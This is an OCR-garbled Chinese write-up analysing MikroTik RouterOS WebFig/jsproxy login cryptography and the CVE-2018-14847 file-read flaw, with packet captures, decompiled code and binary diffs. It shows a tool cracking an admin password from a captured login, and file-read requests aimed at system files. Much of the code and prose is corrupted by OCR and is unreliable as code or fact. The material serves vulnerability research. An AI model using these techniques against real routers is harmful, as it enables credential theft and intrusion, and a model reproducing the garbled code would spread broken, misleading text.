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Ethernet Quick Set
P = Hide data URLs [} | XHR 1S CSS Img Media Font Doc WS Manifest Other
active . . — : §
Mode
Name Meth... | Status | Protocol | Scheme  Domain Remote Address | Type  Initiator Size Time Connection ID Waterfall 4
; 200 naster-min-f50d2693c295, 5801 ase 993
j Bpros - pogy hitp/L1  hitp 19216821 1921682180 xhr [ o ASRRCERRRCSEEt ™ 310 ]
oK cript 3138 991 ms
Address Acquisition 2 - 5932 4
<pros 200 aster- min-f50da603¢205 /5801 4458 982 ms
jsproy < y 2158, D1882180 by  [restermineii0de693c293; !
j posT | o http/LL  http 19216821 192.168.2.1:80 xhr cipt Saa g8 me 310 m
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200 naster-min-502693c295 5801 ase 997 ms
jsprozy Inaster- min-f5002693205 801
e J posT| ol heprll hp 19216821 121682160 xhe R B sy 310 ]
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Filter: | ip.addr == 192.168.2.1 and http.request E Expression.. Clear Apply Save

No. Time

Source Protocol Length

248 16.8669190192.168.2.100 445 GET fwebfi ,‘master‘—m‘i n-f50da693c295. js HTTP/1.1

TEIELL Webfig W TUAC B 2 13T B ML R2, & P i i e R —4 js X, J5
AR Z A jsmin, A5 POST A% £ (msg) £ RouterosS []/jsproxy
0O, EB%E jsmin FRES A %0 Webfig A1 Router0S Z[H](IE(EIH S msg (B 3%
WAIE ) 35 FH LA 2

Efﬂnation initWebfig() {

request ('GET', "/webfig/list', null,
function{resp) {

var gums = val (" ([" + resp + "[}])");
var ros;
] for (var 1 = 0; 1 € gums.length - 1;) {
g if (gums[i] .name == 'roteros.g') |
ros = gums[i];

gums.splice (1, 1);
continue;

= }
H if (gums[i].nams.substr (gums[i] .nams.lsength - 4) == png') {
gums.splice (i, 1);
continue;
o }H+1;
= }
gums.splice (0, 0, ros);
gums.splice {(gums.length - 1, 1);
loadGUM (null, gums, ) :

o by i

-1

Flfunction start() {
generateMetalnfo (sysmap) ;
loadSkin(sysres.skin,

=] funetion() {
generateMenul() ;
hide('logi

') g
hide({'st oN
show ("pages




/1T EFVAE
function dofuth (user, pwd, ckb, arg) {
request ("POST', '/HSprosy’ .,
= function(r) {

session = new Session(str2word(xr, 0)):
var resp = ssssion.maksResponse (ussr, pwd, 1)

request ("POST', '/jsproxy', resp,

= function{r) {

if (!'session.dscrypt(r,

= function(rep) {

sysSres.user = user;
sysres.password = pwd;
sysres.policy = rep.uffl00b;
sysres.skin = rep.sfe0005;

sysres.arch = rep.sll;
sysres.boardnams = rep.slS3;
sysres.board = rep.sl7;
=] post ({
Uff0001l: [120],
uff0007: S
= b,
B function(rep) {
sysres.gscaps = rep.ul || O
cb({null, arg);
r b
1) A
cb ('Authentication failed: invalid username or password.', arg);

BE HIEE WA, 7T LUK 35 0 S0 A1 2 2 1) «
rReferer: http:/flgzzlﬁs.2.1!webf1g/

Accept-Encoding: gzip, deflate
Cookie: username=admin

.HTrP,/1.1 200 ok
connection, reep-Alive

content-Length: 313 |
content-Type: msg

Date: Sun, 04 Nov 2018 17:38:59 GMT
Expires: O

Host: 192.168.2.1
Cconnection: keep-alive
Content-Length: 18

Pragma: no-cache
cache-control: no-cache
oriain: htto://192.168.2.1

PRl A HAE ] T — AN A B P PPP #EAT BN Z5IAGIE , T iZ MUAEAE ™ &
) B8 it 42 1 AR (2012 4F defcon K4l O JE /R AR 515 ) «

ESession.prototype.makeResponse = function(user, pwd, r) {
var magic = is is E Ma

var magicl
var magicZ
this.txseqg

this.rxseg = 1;
var rchallenge = str2a(r.substr(?));
var lchallenge = [0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, Ox2n, 0x28, 0x2%, Ox5F, 0x2B, Ox3n, 0x33, O0x7C, O0x7E]l;
var chlgHash = shal(lchallenge.concat(rchallengs).concat(str2a(usesr))).slice(l, 9);
var pwdHash = md4 (ustrza (pwd.substr (0, 256)));
var pwdHashHash = md4 (pwdHash) ;
var response = [];
= for (war 3 = 0; § € 2 * 50; 35 4= 56) |
E var key = [1;
= for (var 1 = §; 1 € §J + Se6; 1 4= 7) {
var w = (pwdHash[i >> 2] << &) | (pwdHash[(i >> 2) + 1] << 0);
key.push((w >> (2 - (1 & 7))) & Oxfe);
i }
response = responss.concat(des(chlglash, key));
r }
var masterFey = shal (pwdHashHash.concat (response) .concat (str2a(magic))) .slice (D, 1¢);

this.rxEnc.sstKey (this.makeRey (masterkey, false, false));
this.txEnc.sstRey (this.makeKey (masterRey, true, false));

var reserved = [0, O, O, . 0, O, P

var msg = ([0, 1) .concat (lchallenge) .concat (reserved) .concat (response) ;

return word2str (this.id) + word2str(0) + a2str(rchallenge) + a2str(msg) + user;
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Filter: | http E|Expre;;ionm Gz Ay S

No. Time Source. Destination Protocol Length Info
1 |34 3.14958400192.168. 2. 100 192.168.2.1 HTTP 464 POST /isproxy HTTP/1.1 |
35 3.15677800192.168.2.1 192.168.2.100 229 HTTP/1.1 200 oK (text/plain)

37 3.17227000192.168. 2. 192.168.2.100 368 HTTP/1.1 200 OK (text/plain)

39 3.17963100192.168. 2. 192.168.2.100 238 HTTP/1.1 200 oK (msg)

.19072100192.168.2.1 192.168.2.100 237 HTTP/1.1 200 oK (msg)

.19344800192.168.2.1 192.168.2.100 HTTP 259 HTTP/1.1 200 OK (msg)

< L

Frame 34: 464 bytes on wire (3/1Z bits), 464 bytes captured (3/1Z b1ts) on intertace 0
Ethernet II, src: Vmware_38:ee:0c (00:0c:29:38:ee:0c), Dst: vmware_ee:27:61 (00:0c:29:ee:27:61)

@ Transmission Control Protocol, Src Port: 18252 (18252), Dst Port: http (80), Seq: 1199, Ack: 3256, Len: 410
= Hypertext Transfer Protocol
= POST /isproxy HTTP/1.1%\r\n
[Expert Info (Chat/sequence): POST /jsproxy HTTP/1.1\r\n]
Request Method: POST
Request URI: /jsproxy
Request version: HTTP/1.1
Host: 192.168.2.1%r\n
Copnection: keep-alive\rin
= content-Length: O\r\n
o] e engtn. U
origin: http://192.168.2.1%r\n
User-Agent: Mozilla/5.0 (wWindows NT 6.1) Applewebkit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 safari/537.36\r\n
content-Type: text/plain; charset=uTF-8'r\n
Accept: */*\r\n
AFarans httn. /7103 160 9 4 feahEia Aetin

0070 70 2d 61 6c 69 76 65 0d Oa CENGACTIENEN e
Plr:lialod 4c 65 6e 67 74 68 3a 20 30 od O3RN
0090 69 6e 3a 20 68 74 74 70 3a 2f 2T 31 329 32 2e 31
00a0 36 38 2e 32 2e 31 0d 0a 55 73 65 72 2d 41 67 &5

2. g5 asU B R G A% 7 i AR A Challenge:

Filter: | http

Expression.. Clear Apply Save

No. Time Source Destination Protocal Length Info
| 2 |35 3.15677800192.168.2.1 192.168.2.100 HTTP 229 HTTP/1.1 200 OK (text/plain
37 3.17227000 192.168.2.1 192.168.2.100 HTTP 368 HTTP/1.1 200 OK (text/plain)

39 3.17963100192.168.2.1 192.168.2.100 HTTP 238 HTTP/1.1 200 oK (msg)

46 3.19072100192.168.2.1 192.168.2.100 HTTP 237 HTTP/1.1 200 OK (msg)

49 3.19344800192.168.2.1 192.168.2.100 HTTP 259 HTTP/1.1 200 oK (msg)

Ethernet II, Src: vmware_ee:27:61 (00:0c:29:ee:27:61), Dst: vmware_38:ee:0c (00:0c:29:38:ee:0c)
Internet Protocol version 4, Src: 192.168.2.1 (192.168.2.1), Dst: 192.168.2.100 (192.168.2.100)
@ Transmission Control Protocol, Src Port: http (80), Dst Port: 18252 (18252), Seq: 3256, Ack: 1609, Len: 175
|- Hypertext Transfer Protocol
= HTTP/1.1 200 OK\rn
[Expert Info (Chat/Sequence): HTTP/1.1 200 ok\rin]
Reguest version: HTTP/1.1
status Code: 200
Response Phrase: OK
connecrion: Keep-alive\rin
L= content-Length: 37\r\n

[Cgntent Tength: 37]
content-Type: text/plainirin
pate:\wed, 31 oct 2018 12:50:02 GMT\r'n
Expirds: 0\r\n

0000 00 Oc A9 38 ee Oc 00 Oc 29 ee 27 61 08 00 45
0010 00 d7 f@ fe 40 00 40 06 ba 6c c0 a8 02 01 cO

0020 02 64 04 50 47 4c 6d 26 14 6e d2 32 e2 31 50 n.2.1p.
0030 02 4f c3\fb 00 00 48 54 54 50 2f 31 2e 31 20 TRP/1.1 2
0040 30 30 20\4f 4b 0d 0a 43 &f 6e 6e 65 63 74 69 onnectio
0050 6e 3a 20 Wb 65 65 70 2d 41 6c 69 76 65 0d Da Alive..C
0060 &F 6e 74 §5 6e 74 2d 4c 65 6e 67 74 68 3a 20 ength: 3
0071 7 0d 0a 43 &f 6e 74 65 6e 74 2d 54 79 70 65 nt-Type:
0080 20 74 &5 7B 74 2f 70 6c 61 69 6e Od Oa 44 61 ain. . bat
0090 65 3a 20 54 65 64 2c 20 33 31 20 4f 63 74 20 31 oct 2
00a0 30 31 38 2031 32 3a 35 30 3a 30 32 20 47 4d 0:02 GMT
00b0 0d 0a 45 78%70 69 72 65 73 3a 20 30 Od 0a 0Od 2 0....

s

[elaic4 BO c4 BO c4 BO 01 c4 BO c4 BO c4 BO c4 8O
(LG4 09 c3 a2 27 c2 be 6d 06 46 c2 a9 c3 b6 51
00e0 ElTe AN

3. A N B K S 250 K ] MS - CHAPV2 B34 i@ E key, FFIFIXAS
key 45 &R M N2 challenge 454 RC4A INZE 4 % Reponse (N2,
R4 RSS2




Filter: | hitp B Expression.. Clear Apply Save
No. Time Source Destination Protocol Length Info
.15677800192.168. 2. 192.168. HTTP 229 HTTP/1.1 200 ok (text/plain)

.17044100192.168. 2. 192.168. 580 POST /ysproxy HTTP/1.1 (text/plain) |
.17227000192.168. 2. 192.168. 368 HTTP/1.1 200 OK (text/plain)

-17963100192.168. 2. 192.168.2. 238 HTTP/1.1 200 ok (msg)

46 3.19072100192.168. 2. 192.168. 2. HTTP/1.1 200 oK (msg)

49 3.19344800192.168. 2. 192.168.2. HTTP/1.1 200 oKk (msg)

U C. LS. TUTs Er LT U
connection: keep-alive\rin
Content-Length: 114\rin

[content Tength: 114]
origin: http://192.168.2.1%r\n
user-agent: Mozilla/5.0 (windows NT 6.1) Applewebkit/537.36 (KHTML, Tike Gecko) chrome/70.0.3538.77 safari/537.36\r\n
Content-Type: text/plain;charset=UTF-8\r\n
Accept: */*\r\n
Referer: http://192.168.2.1/webfig/\r\n
accept-eEncoding: gzip, deflate\rin
Accept-Language: zh-cN,zh;qg=0.9r\n
Cookie: username=admin\rin
\rin
[Full request URT: http://192.168.2.1/sproxy]
E Line-based text data: text/plain

[truncated] “304%200%304%200%304%200%001%304%200%304"200"304%200%304%200pD"1"303"242 4,302\ 276m" 006F" 3022514 303"\ 266Qn; 43022

< 1

m

0110 66 61 72 69 2f 35 33 37 2e 33 36 0d Oa 43 6f 6e fari/537 .36..con
0120 74 65 6e 74 2d 54 79 7 65 3a 20 74 65 78 74 2f Tent-Typ e: text/
plain;ch arset=UT
F-8..Acc ept: */¥
..Refere r: http:
//192.16 8.2.1/we
bfig/..a ccept-en
coding: gzip, de
flate..A ccept-La
nguage: zh-CN,zh
;0=0.9.. cookie:

username =admin. .

/I BEFNAE
function doRuth(user, pwd, cb, arg) {
request ('POST', '/jspromy', '', //1. empty post request

] function(r) {
session = new Session(str2word(x, 0));

var resp = session. sponse (user, pwd, r);

request {'POST' v/ ', resp, //3. challenge response
= function(r) {

if (!session.decrypt(r,

= function (rep) {

SysSres.user = user;
sysres.password = pwd;
sysres.policy = rep.uffi00b;
sysres.skin = rep.sfe000%;
sysres.arch = rep.sll;
sysres.boardname = rep.sl5;
sysres.board = rep.sl7;

= post ({

uff0001: [1z207,
uff0007: S
[ }!
(= function (rep) {
sysres.gscaps = rep.ul || O;
cb(null, arg);
r b
N) A
cb (' or ', oarg);

r }:

r b,

(= function(err) {

cb({err, arg);
r I3

F b




[Session.prototype .makeResponse= function({user, pwd, r) {

var magic = "This is the MPPE Master Key";

var magicl = "Magic server to client signing constant™;

wvar magic2 = "Pad to make it do more than one itsration";

this.txseq = |;

this.rxseg = .;

vvvvv hallenge = str2a(r.subst (k ;

var lchallenge = [0x21, 0x40, 0= 0x24, 0x25, OxS5E, 0x26, Ox2A, 0x28, 0x29, Ox5F, 0x2B, 0x3A, 0x33, 0x7C, OxTE];

var chlgHash = shal(lchalle rchallenge) .concat {(str2a(user))) .slice(0, 2);
] var pwdHash = md4 (ustr2a(pwd.substr (0, 256))); //MD4THE R Dhash, KEH16FT

var pwdHashHash = md4 (pwdHash) ;

var response = [];

= for (var j = 0; j < 3 * 5¢; j += 5¢) | //DESHAEE, - =B AT, B — B Alkey 27157
Z var key = [1;
for (var i = j; i < J + 56; i +=7) {

var w = (pwdHash[i >> 3] << ©) | (pwdHash[(i >> 3) + 1] << 0);
key.push((w >> (9 - (i & 7))) & Oxfe);
r }
] response = response.concat (des (chlgHash, key)); //ZEFISRIE (response) HIE
}
var masterKey — shal (pwdHashHash.concat (response) .concat (str2a (magic))) .slice(l, 16);
this.rxEnc.setKey (this.makeKey (masterKey, false, false));
this.txEnc.setkey (this.nakeKey (nas erkey, true, false));
var reserved = [0 0 0
var msg = ([0 ]) Ccncat{lchallange) ccncat(resarved) concat (response) ;
return wD[dZstr(thls id) + word2str(U) + a2str(rchallenge) + a2str(msg) + user;

MRS BT LA HH 5 S )97 = B2 2 FH MDA WA 5320 H 52509 pwd [1I0G
wE, KER 16 F1, RS HXTRRINE 592 DES BT, &Eid KA
for JEIAFRATAI LAFE 2] DES %4> —Bft4y, &—Bt 56 i, ke 7 /1\%
1, R 1 MD4 Ak pwdhash R 16 775 (A& 21 F77) , i 75 Eid il
A5 A4~ 0 KAME 21 T, S BB LN R

K1:[a@,al,a2,a3,ad4,a5,a6] 2756
K2:[b@,bl,b2,b3,b4,b5,b6] 2756

K3:[cO,cl, -, -5 -, -, -] 2716

X K3, RA 2 MER T, BRI R EILEERE N 2M 6,
X K1,K2, FiEE A E N 2156, LLIRE B I iR = 25281 key , 3| key B
WA T pwdhash (%191 md4 W5 1E) , {8 A LLBEAT BHTAGLE .

4. REFBHBEF M ERHESTHFEMNHET key fRZ, fEH SRNFAER
), RZNIERM, RS 251R (8] 403/Forbidden k1% FIN G #EA 45 R4
i, NUERRT G XU a3 T IE2UEAE , WA RN msg (@il Bk ) :
UNTRSRUR



Fiter: | http [ ] Expression... clear Apply save

No. Time Source Destination Protocol Length Info
35 3.15677800192.168.2.1 192.168.2.100 HTTP 229 HTTP/1.1 200 oKk (text/plain)
37 3.17227000192.168.2.1 192.168.2.100 HTTP 368 HTTP/1.1 200 oK (text/plain)
39 3.17963100192.168.2.1 192.168.2.100 HTTP 238 HTTP/1.1 200 oK (msg)
46 3.19072100192.168.2.1 192.168.2.100 HTTP 237 HTTP/1.1 200 OK (msg)
49 3.19344800192.168.2.1 192.168.2.100 HTTP 259 HTTP/1.1 200 oK (msg)

4 1

[content Tlength: 175]
Content-Type: text/plain\rin
pate: wed, 31 oct 2018 12:50:02 @MThyrin
Expires: O\r'n
rin

|= Line-based text data: text/plain

43024213430242354032<035%3044,20043024211\,302", 242", 302" 234kh

4,304%,200%304,200%304%200%001%304200%304%200%304%,200,001,002"0262 302" 216" 303,2447,a%302",223"024~u" 302,224,033, 303270303 212\ :
[truncated] “303%.2008p%302%203f"302,222e\034<@,020]%034%3022270"303232Nv" 3034262302206 %,303202%302"215302"27204303",250: \3(

<] i

0000 00 Oc 29 38 ee Oc 00 Oc 29 ee 27 &1 08 00 45 00
0010 01 62 f9 ff 40 00 40 06 b9 e0 cO a8 02 01 cO a8

0020 02 64 00 50 47 4c 6d 26 15 1d d2 32 e4 3f 50 18 ..2.7P.
0030 02 70 16 a6 00 00 48 54 54 50 2f 31 2e 31 20 32 TP/1.1 2
0040 30 30 20 4f 4b 0d 0a 43 &f 6e 6e 65 63 74 69 of onnectio
0050 6&e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0Od Oa 43 Alive..C
ength: 1
ent-Type
Tain..Dba
31 oct
50:02 @M

es:

[ | 119 4.47314600192.168.2.1 192.168. 2,100 231 HTTP/1.1 200 OK (text/plain)

122 4.49924200192.168.2.1
123 4.49982200192.168.2.1

192
192

.168.2.100 309 HTTP/1.1 403 Forbidden
.168.2.100 60 http > 18638 [FIN, ACK] Seg

I=I Hypertext Transter Protocol
# HTTP/1.1 403 Forbidden\rin
Connection: Keep-Alive\r\n
@ Content-Length: 109%r\n
Content-Type: text/plain\rin
Date: wed, 31 Oct 2018 17:55:05 GMT\r'n
Expires: 0\r\n
\rin Chal leng—Response Auth
|= Line-based text dat. xt/plain
<html=\n
<heads><titleserror 403: rForbidden</title></head>"n
<hody=\n
<hl>Error 403: rForbidden</hl>\n
</body=\n
</html=\n

Auth Faile,Over the Session.

0030 4d 78 2b 75 00 00 48 54 54 50 2f 31 2e 31 20 34  Mx+u..
0040 30 33 20 46 6f 72 62 69 64 64 65 6e 0d Oa 43 6f 03 Forbi
0050 6e 6e 65 63 74 €9 6f 6e 3a 20 4b 65 65 70 2d 41  nnection :
0060 6c 69 76 65 Od 0a 43 6f 6e 74 65 6e 74 2d 4c 85 Tive..Co
0070 6e 67 74 68 3a 20 31 30 39 0d Oa 43 &f 6e 74 65 ngth: 10
0080 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6¢C nt-Type:
0090 61 69 6e Od Oa 44 61 74 65 3a 20 57 65 64 2c 20 ain..pat

oxlc HIEfufp=

A Tenable HRAH A BAIAR A8 £ A% 5 S W] LUK 368 ol icdie A0 AT R 1 4
a5 B (X B3 5 - i PR g B AR s )




~/Desktop/routeros-master/jsproxy_pcap_password_bruteforce/build# ./jsproxy pcap password_bruteforce
-f ../sample/login.pcap -p ../sample/passwords.txt
[+] Loading passwords...
[+] Passwords loaded: 18
[+] Initial request found.

[+] Server challenge received.

[+] Challenge response found.

Username: admin

Password: loser

Password Hash Hash: el7fb69252cc12d035318ee9117072c0
Master Key: 4ce@flc75a4a042c876f59324ce764e7

Ox1d JSON #& A fEtr

£ Jsmin AR IATAT LU 2% 7 i AR 55 % 22 6] 3815 1) ms g 4% 20#K 2 JSON:

Efﬂnction msg2json (msg) {

var str = '';
for (var r in msg) {
var pfx = r.charnt () ;
if (pfx == ' ') continue;
if (str.length > 0) str += ", ";
var val = msgl[r];
= switch (pf=x) {
case "b':
case "u':
case 'o':
str +=r + ":" + (val || ) ;:
break;
case "s3':
if (lval) wal = "';
val = val.replace (/\\/g, "y :
val = wal.replace (/\'fg, ' A -
str +=r + ":" + """ 4+ gal + """,
break;
case "'r':
case 'a':
str +~=rr + ":" + "[" + (val ? wal: "") + "]°";:
break;
case "m':
E {
E var s = "[]';
= if (wval) {
s = msgZjson(val) ;
if (s = null) return null;
- }
str += ¢ + ":" + =3;
break;
- }
case "U':
case "B':
case "'Q':
str +~=rr + ":" + "[" + (val ? wal: "") + "]°";:
break;

I 38 5] 5 ORI A AT, AT DAHEEWT H msg ) ISON A% =Xt F

{Uffo001:[13,7], uffeeo7: oxfevoOd,sl: 'admin'}

4B S MR (key-value) LR, AR MR AR, AR5
A LA, 2 HHRR , UKHE 5 B R H A



{pfxID:val}
Hr pfx 214 prefix MI465 , R ID 254, val & ID [HI1fH.
Hod pfx Al NI ATEL

pfx type pfx type

b:boolean B:Boolean array

u:32 bit interger U:32 bit interger array
g:64 bit interger Q:64 bit interger array
a:ipvé A:IPv6 array

s:string S:String Array

r:raw data R:Raw data array
m:Message M:Message Array

I sk T, fE FHH msg 1A, ffee0l. ffooo7 RKEH 4?7 ¥i4[13,7]
HE) 13 i1 7 ARRATA? [BIE] jsmin YRS HRERATAT LUK BLUI LR

var BADID = (Oxffffffff;

var = "Uff0001";

var = "uff0007";

var STD ID = "ufel001";

var STD NAME = "sfe0010";

var STD DEAD = "ufeD013";

var DUDE ENABLED = "bl";

var DUDE DATA DIR = "s52";

var DUDE STATUS = "s53";

var DUDE RANDOM SEED = "ud";

var CONFIG UNIQUE ID = "rlo0fal™;

var CONFIG VERSION = "ulOO0fal™;

var CONFIG FIRST CONNECTION = "bl0OO0faz"™;

readChunk: function(c) {
var that = this;
var req = {};
req[8¥ST0] = [this.ID [FILEMAN] this.ID TRANSFER]; //FILEMAN -> [/nova/bin/fileman |

req[SyYs CMD] = this.CMD READ; //CMD READ : 4
req[STD_ID] = c.transID;
req[this.SIZE] = 40%¢;
post (req,
function(rep) {
if (isError(rep)) {
c.failed = true;
that.done(c);
return;

JE YR (5] 152 55 T A0 ) 43, P4 RouterOS WREIVE B G , 20T R G0 A 7
EPSYS_TO B —AMUS 13 AT (B 2 /nova/bin/ T ) ki 5T
1), IX AP ¢ RLRAFAE /nova/etc/loader/system.x3 CHFH



system.x3

Offset o 1 2 3 4 5 & 7 § &8 A B C D E F 10
Q0000000 BS 17 00 00 21 00 00 00 OO0 00 00 0O 74 00 00 00 1E nu ! t
Q00000011 00 00 00 eC 00 00 00 1D 0O QO OO0 O7 00 00 00 00 00 1
Q0000022 00 00 00 00 00 00 OD OO 00 00 2F eE eF Te 6l 2F b2 fnova/b
Q0000033 €9 €E 2F €C 6F &7 15 00 00 00 04 00 00 00 03 00 00 in/flog
00000044 00 01 00 OO 0O O1 OO0 00 OO0 03 00 00 00 33 15 00 00 3

QQOoQ0035 00 9% Q0 00 00 Ol 00 00 00 01 OO0 00 00 04 00 00 00 =
Q00000066 |01 T4 72 75 63 15 00 00 ©Q0 AD OO0 OO0 00 ©O1 00 00 00 tIue -

QQogoo077 |01 00 00 00 O4 00 00 00 ©O1 74 72 75 65 45 00 00 00 trueE
Qoo00o088 | 1E OO0 OO0 OO0 3D 00 00 00 20 00 00 00 07 00 00 00 00 =
QQoQo0%% 00 Q0 OO0 00 00 00 00 10 00 00 00 2F €E €F 7& €1 2ZF fmovals

000000AR 62 69 6E 2F 72 61 64 €9 75 T3 15 00 00 0C 04 00 00 | kin/radius
000000BB 00 03 ¢00 00 00 01 00 ©OO ©O0 01 00 OO OO0 05 00 00 00

Q00000CC 35 78 00 QO 00 1E OO QOO ©O TO 00 OO0 0O 21 00 00 00 S5=x 5] !
QQogoopp | O7 OO0 00 OO 0O 00 00 00 OO0 00 00 00 11 00 00 00 2ZF £
Q00000EE 6E 6F 76 €1 2F €2 €9 €E 2F €D €F €4 75 &C €5 72 15 | nova/bin/moduler
QQ0000FF |00 00 OO0 04 00 00 00 O3 ©O0 00 00 01 OO0 00O 00 01 00

00000110 |00 00 06 00 00 00 36 15 00 00 00 99 00 00 00 01 QO & ™
00000121 |00 OO0 Ol OO OO OO0 04 00 OO0 00 01 74 72 75 €5 15 QO true
00000132 |00 00 AD 00 OO 00 Ol 00 OO0 00 Ol 0O QO OO 04 00 QO -

00000143 |00 Ol 74 72 75 €5 5D 00 00 00 1E 0O 00 00 55 00 QO truel O
00000154 |00 1E 00 00 00 07 00 00 00 00 00 00 00 00 00 00 Q0

00000165 | OE OO0 00 00 2F 6E 6F 76 61 2F €2 €% 6E 2F 75 73 €5
00000176 |72 16 00 00 OO 04 OO0 00 00 03 OO0 OO OO0 Ol 00 00 00 =

00000187 |02 00 OO 00 OD 00 00 00 31 33 15 00 00 00 CC 00 Q0 BE i
000001%8 |00 01 00 00 00 Ol 00 00 OO0 04 00 00 00 Ol 74 72 75 tru
000001AS |65 61 00 00 00 1E 00 00 00 59 00 00 00 22 00 00 00  ea ¥y ow
00000lBA |07 00 OC 00 OO 00 OO 00 0O 00 OO0 00 12 00 00 0O 2F /

Q000001CE 6E 6F 76 €1 2F 62 69 6E 2F 72 &5 73 6F &C 76 €5 72 | nova/bin/resclver
Q00001DC le 00 0O ©0O O4 00 OC COO ©3 00 00 OO0 Ol 0O 00 00 02

QOQ00001lED | OO0 OO0 OO0 QOE 00 00 00 31 34 15 00 OO0 00 AD 00 00 00 14 -
QO00001FE 01 00 00 OO0 O1 OO0 OO0 00 ©O4 00 00 OO0 01 74 72 75 &5 true
0000C020F |SF 00 00 00 1E 0O 00 00 57 00 00 QO 20 00 00 0O O7 | _ W
Q0000220 00 00 00 00 00 00 00 COO ©O0 00 00 10 00 00 00 2F ©&E /n

Q0000231 6F 76 €1 2F €2 &9 €E 2ZF &D €1 €3 74 €5 €C 16 00 00  ova/bin/mactel
QQogo242 00 04 00 OO0 0O O3 00 00 OO 01 OO0 OO 00 02 00 00 00

QQoQ02533 | OF 00 OO0 00 31 35 15 00 00 OO0 AD 00 00 00 01 00 00 15 -
0Q000264 | 0C Q1 OO0 OO OO0 O4 00 00 00 Q01 74 72 75 65 44 00 00 trueld
Qo0o00275 00 1E OO0 OO0 00 3C 00 00 OO 1E 00 00 00 OTF7 00 00 00 <

5 13 4% SYS_TO [ /nova/bin/user KB R, FIF 7 REH 2=
B ? MRYE linux RGFAHAHIKREL , TATH] CUHEN H N %8 T DR 5 (R4
sys_socketcall), il id Xf i SO AR AT 3w AT R I — LA TIRE S 7 1
handler (ALEREWCIE BT R ) , G5 AL BRZ IR B & Fh T




EF ) cmdGet ()7

J0bjectHolder.prototype. fetch = function() {
var attrs = this.attrs;
if (attrs.getcomd == null && attrs.setcmd '= null) return;

var req = {};
attrs.path;
attrs getcmdlll

req.Uff0001

req.uff0007
req.ufel00c = ;
if (attrs.refreshfilter) req.ufel00c |= attrs.refreshfilter;
var me = this;

| var onreply = function(rep) {

if (isError(rep)) return;

update (me.obj, rep):

me.ob]. empty = false;

me.lstns.notify(me.obj) ;

cmdGet () FIEE DAL Z KA jason JH B FHFEF admin XA FEE

-~




nv *_ stdcall cmdGet{nv =al1, int a2, int a3)
4
int v3; // eax@1
int vh; /F eax@l
unsigned int w5; // eax@3
nu::imessage *u6; f/ eax@5
nu::message *u?; f/ 3TO8_4E8
nu::message *u9; // [sp-4h] [bp-34h]@1
char u18; // [sp+Ch] [bp-24h]@5
_DUWORD =vi1; // [sp+1B8h] [bp-2Bh]E1
void =u12; // [sp+14h] [bp-1Ch]@2

v3 = operator<<{{&cout, “UserPrefs::cmdGet");
endl{u3};
vl = nu:message::get<nu::string_id>{a3, 1);
string::string(&ui1, uvi);
if § =u11 )
{
nu::message::message((nu::message *)&ui2);
u5 = sub_BB4FA18(a2, &uil);
if ( us )
{
if { ={_BYTE =){uv5 + 8) )}
uh = (nu::imessage *)nu::imessage::message{{nu::message *)&v108, {(const nu::message *=)(v5 + 12));
else
u6 = sub_8B4FAB2({{nv::message =)&u18, a2, (string =)u5);
nu::message:zoperator=_&vi12, &uiB, v, vo);
nu::message::“message((nu::-message =)j&u10);
H
nu::icleansys(({nuv =)&wv12, v9);
nu::cleanStd{{nv *j&uv12, v¥);
sub_BO4FESB{(int)&ui2);
*#(_DWORD =)al = vi2;
u12 = Bnu::message::nilRep;
nu::imessage ::“message({nv::message =)&ui2);
H
else
{

string::string{&v12, "no user name provided");
nv:zerrortsg{al, BxFEAB86u, (const string =)&u12);

Bl B {uffeee1:[13,7], uffeee7: oxfeooed,sl: 'admin'}
FORIE U215 %1 Routeros AR%5 281 i /nova/bin/user [ 7 5 handler (X}
%)H] cmdGet ﬁ/fil%éjcﬁl admin XN FARSRE R, I IOX R A S IR
AT AT AR — 2% Jason Y&, T RIRATAT AR b — /N5 ARl Ok 1 2
FRA N key M5 H ,\ﬁééﬁi‘&‘@,mf %m jason VY B AT AR MR

oxle fUALLLXS (Bindiff)

2018 £ 4 H 23 H,Mikrotik B 75 CVE-2018-14847 B &, T84
TEE T s, AT E M R T 6.40.7(4 A 20)H1 6.40.8(4 A 24)
I faT i A (. npk, 25180 windows %M T installer), $2EUH [Ef4 )5 , it hash
M bindiff X AT ——Xt, K3 nova/bin/mproxy AESAH — A HL &
3



100 062 0B04CEB0 mezHandler:cmdSetObj(nvimessage con... DB04CEBD nviHandler zcmdSetObj(nvimessage con... address sequence
1.00 0.62 0804CECO “non-virtual thunk to'nv:Looperz:run(void) 0804CECO “non-virtual thunk to'nv::Looper:run(void) address sequence
1.00 0.62 0804CEFD nv:Looper:sendMessage(nvimessage &) 0804CEFQ nviLooper:sendMessage(nvimessage &) address sequence
1.00 0.62 0B04CFG0 nv:Handler:savePermData(nv:message &) 0804CF60 essage &) address sequence

1.00 0.62

0804CF70 nv:Handler:notifiesSent{void) otifiesSent(void) address sequence
:getDefaultCfglvoid) AMap::getDefaultCfglvoid) address sequence
andler::cmdGetAll(nv:message cons... Handler :cmdGetAll(nv:message cons... address sequence

8 0.96 Gl-J--- 08050ECE sub | 08050EB4 S OEB call reference matching
Line 542 of 542

08050ECS sub_08050ECS sub_08050EB4 08050EB4

DrimeEry Seconan;

AR — R4 4 FATHE A, AR IR , 12 25 1 e O N 1 A ER e AR
e FLG L2 ARS8 IR ™A%, 4 5 B 3C, wT DAt o o i e e S I H 3k B A Y

char _ usercall dir_traversal_check@<al>(string s*ai@<eax>)
ff [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL TO EXPAHD]

al;
=al;
while ( 1)
{
if (w2 == ui[1] )
return 1;
string: :string{{(int)&vé, (int)u2, (int)adl, (int)ai);
if { *=u6 || t*string::compare{{string =)&uws, “.") )

vector<string>::erase{{intju1, v2, (intluz + u):

(string =)ul;
LABEL_9;

string: :compare{ {string =)&u6, .

= (string ==*)string::freeptr({string *)&vé);

w2z = =yl )

(string *)uector<{string>::erase{(int)u1, {(string =){{char *)u2 - 4), (int)u2};
vector<{string>::erase{{int)ul, uS, (int)uv5 + 4);




nv * userpurge sub 885B8F62@<eax>{int al@{esi>, nv =a2, Dbject =a3,

{
/f [COLLAPSED LOCAL DECLARATIOHS. PRESS KEYPAD CTRL-"+" TD EXPAHD

vE = (string =)&buf;
switch { a% )
1
case 6:
v = nyv::message::has<{nv::string id>{a%, 1, a5 - 1, a5 - 1});

if ( *(_BYTE)ué )
goto LABEL 11;

uy ub;

vl ub;

ug nv::message::get<{nv::string id>{a%, 1});

